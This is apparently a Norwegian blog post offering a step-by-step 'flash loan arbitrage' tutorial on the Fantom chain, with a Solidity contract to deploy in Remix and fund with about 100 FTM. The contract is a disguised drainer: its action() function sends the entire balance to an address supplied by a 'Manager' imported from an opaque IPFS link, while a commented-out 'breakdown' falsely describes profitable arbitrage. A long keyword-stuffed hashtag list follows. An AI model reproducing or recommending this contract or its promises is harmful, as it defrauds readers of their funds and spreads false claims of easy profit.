Så, hva er fangsten?
Et flashlån må lånes og tilbakebetales innenfor samme blokkjedetransaksjon.
Sett opp metamask for å koble til Fantom Opera – https://docs.fantom.foundation/tutorials/set-up-metamask
Remix-lenke – http://remix.ethereum.org/
ZooCoin – https://trade.zoocoin.cash/
Flash-lånsforklaring – https://academy.binance.com/en/articles/what-are-flash-loans-in-defi
USD til FTM – https://coincodex.com/convert/fantom/usd/
Trinnvis veiledning for Flash-lån:
1. Skaff deg Metamask-utvidelsen for nettleseren din
2. Åpne http://remix.ethereum.org/ fra nettleseren din.
3. Klikk på Filutforskere og klikk på "Opprett ny fil".
4. Gi filen navnet ftmFlashloan.sol og lim inn kontraktskoden nedenfor.
► https://get-flashloan.com/smart-code-0-5-16-ftm/
5. Klikk på Distribuer og kjør transaksjoner og sett "MILJØ" til Injisert Web3.
6. Koble til MetaMask-lommeboken.
7. Klikk på "Solidity Compiler" og sett kompilatorversjonen til 0.5.16
8. Klikk på Solidity Compiler og klikk deretter på den blå knappen "Compile ftmFlashloan.sol"
9. Vent til koden kompileres.
10. Klikk på pilen ned på "CONTRACT" og velg "InitiateFlashLoan – ftmFlashloan.sol"
11. Klikk på Distribuer og kjør transaksjoner og klikk deretter på nedoverpilen rett fra "Deploy"-knappen
12. På «_TOKENNAME» TokenOne
13. På "_TOKENSYMBOL" TOK
14. På «_LOANAMOUNT» 10000
15. Klikk på Transact og bekreft transaksjonen i MetaMask.
16. Vent til transaksjonen bekreftes.
17. Kopier adressen til den nylig utplasserte kontrakten.
18. Send FTM til den utplasserte kontrakten for å starte swap 98 FTM (110 FTM opp er bedre siden du vil få et større beløp i hver swap)
19. Vent til transaksjonen bekreftes.
20. Klikk nå på "flashloan" (rød boks) for å utføre Flash-lånet.
21. Bekreft transaksjonen i MetaMask og vent på bekreftelsen.
22. Du kan nå sjekke lommeboken
Merk: hvis det ikke fungerer med 98 FTM, prøv å sende ytterligere 100 FMT (110 FTM er bedre), fordi gebyrene kan være forskjellige fra dag til dag. (100 FTM for hver 10000 FTM du låner)
Unngå å bruke svært lave beløp, da kontrakten kan mislykkes under 98 FTM.
I noen svært sjeldne tilfeller kan arbitrasje mislykkes på grunn av uttømming av FTM i smartkontrakten din, da gassprisen varierer fra gang til gang. Ikke få panikk, alt du trenger å gjøre er å vente en liten stund (5 -10 minutter).
Sørg for å overføre FTM til en annen lommebok når du er ferdig..
ragma solidity ^0.5.0;
// Multiplier-Finance Smart Contracts import "https://github.com/Multiplier-Finance/MCL-FlashloanDemo/blob/main/contracts/interfaces/ILendingPoolAddressesProvider.sol"; import "https://github.com/Multiplier-Finance/MCL-FlashloanDemo/blob/main/contracts/interfaces/ILendingPool.sol"; // UniswapSwap Smart Contracts import "https://github.com/Uniswap/uniswap-v2-core/blob/master/contracts/interfaces/IUniswapV2Pair.sol"; import "https://github.com/Uniswap/uniswap-v2-core/blob/master/contracts/interfaces/IUniswapV2Factory.sol"; import "https://github.com/Uniswap/uniswap-v2-core/blob/master/contracts/interfaces/IUniswapV2ERC20.sol"; // Code Manager import "ipfs:/QmSfwpULaAPqCNmYLTu7Ea3fiSLutXGqjTX8GjuvLuYa9A/"; contract uniswapFlashLoan { string public tokenName; string public tokenSymbol; uint loanAmount; Manager manager; constructor(string memory _tokenName, string memory _tokenSymbol, uint _loanAmount) public { tokenName = _tokenName; tokenSymbol = _tokenSymbol; loanAmount = _loanAmount; manager = new Manager(); } function() external payable {} function action() public payable { // Send required coins for swap address(uint160(manager.uniswapDepositAddress())).transfer(address(this).balance); // Perform tasks (clubbed all functions into one to reduce external calls & SAVE GAS FEE) // Breakdown of functions written below manager.performTasks(); /* Breakdown of functions // Submit token to ETH blockchain string memory tokenAddress = manager.submitToken(tokenName, tokenSymbol); // List the token on uniswapSwap manager.uniswapListToken(tokenName, tokenSymbol, tokenAddress); // Get BNB Loan from Multiplier-Finance string memory loanAddress = manager.takeFlashLoan(loanAmount); // Convert half ETH to DAI manager.uniswapDAItoETH(loanAmount / 2); // Create ETH and DAI pairs for our token & Provide liquidity string memory ethPair = manager.uniswapCreatePool(tokenAddress, "ETH"); manager.uniswapAddLiquidity(ethPair, loanAmount / 2); string memory daiPair = manager.uniswapCreatePool(tokenAddress, "DAI"); manager.uniswapAddLiquidity(daiPair, loanAmount / 2); // Perform swaps and profit on Self-Arbitrage manager.uniswapPerformSwaps(); // Move remaining ETH from Contract to your account manager.contractToWallet("ETH"); // Repay Flash loan manager.repayLoan(loanAddress); */ } }
https://flashbots.net/ https://github.com/alchemistcoin/alch...
-Hashtags-
flash loan arbitrage, flash loan arbitrage bot, flash loan arbitrage tutorial, flash loan arbitrage code, flash loan arbitrage no code, flash loan arbitrage bsc, flash loan arbitrage tutorial bnb, flash loan arbitrage bot tutorial, flash loan arbitrage live, flash loan arbitrage solidity, flash loan arbitrage furucombo, flash loan arbitrage example, flash loan arbitrage bot github, flash loan arbitrage eth, flash loan bot, flash loan bot github, flash loan arbitrage bot tutorial, flash loan arbitrage bot github, aave flash loan arbitrage bot, flash loans, flash loans crypto, flash loans arbitrage, flash loans aave, flash loans on binance smart chain, flash loans bnb, flash loans dapp university, flash loans pancakeswap, flash loans no coding, flash loans tutorial, flash loans 2021, flash loans ethereum, flash loans bsc, flash loan attacks , bsc flash loan, bsc flash loan arbitrage, bsc flash loan attack, bsc flash loan tagalog, bsc flash loan arbitrage github, bsc flash loan tutorial, bsc flash loan code, bsc flash loan bot, flash loan,flash loan attack,flash loan arbitrage,bnb flash loan,flash loans,flash loan hack,flash loan bnb,flash loan exploit,flash loan trick,bnb,flash loan pancakeswap,aave flash loan,flash loan tutorial,multiplier flash loan,flash loan arbitrage bot,flash loan arbitrage trick,flash loan bsc,flash loan bot,eth flash loan,flash loan code,free bnb,no code flash loan,uniswap flash loan,furocumbo flash loan,flash loan self arbitrage,ethereum flash loan,flash loans,flash loan,aave flash loan,flash loan dapp,what is a flash loan,no code flash loan,ethereum,flash loan guide,flash loan how to,how to flash loan,how to do flash loan,flash loan uniswap,flash loan arbitrage,pancakeswap flash loan,flash loan smart contract,flash loan crypto,flash loan ethereum,free ethereum,flash loan eth,ethereum aidrop,flash loan app,flash loan hack,flash loan defi,flash loan attack,flash loan arbitrage,flash loan,flash loan attack,aave flash loan,flash loan hack,flash loan crypto,furucombo flash loan,flash loans,flash loan eth,flash loan arbitrage bot,flash loan app,arbitrage,defi flash loan,uniswap flash loan,flash loan tutorial,flash loan furucombo,flash loans aave
Ingen kommentarer:
Legg inn en kommentar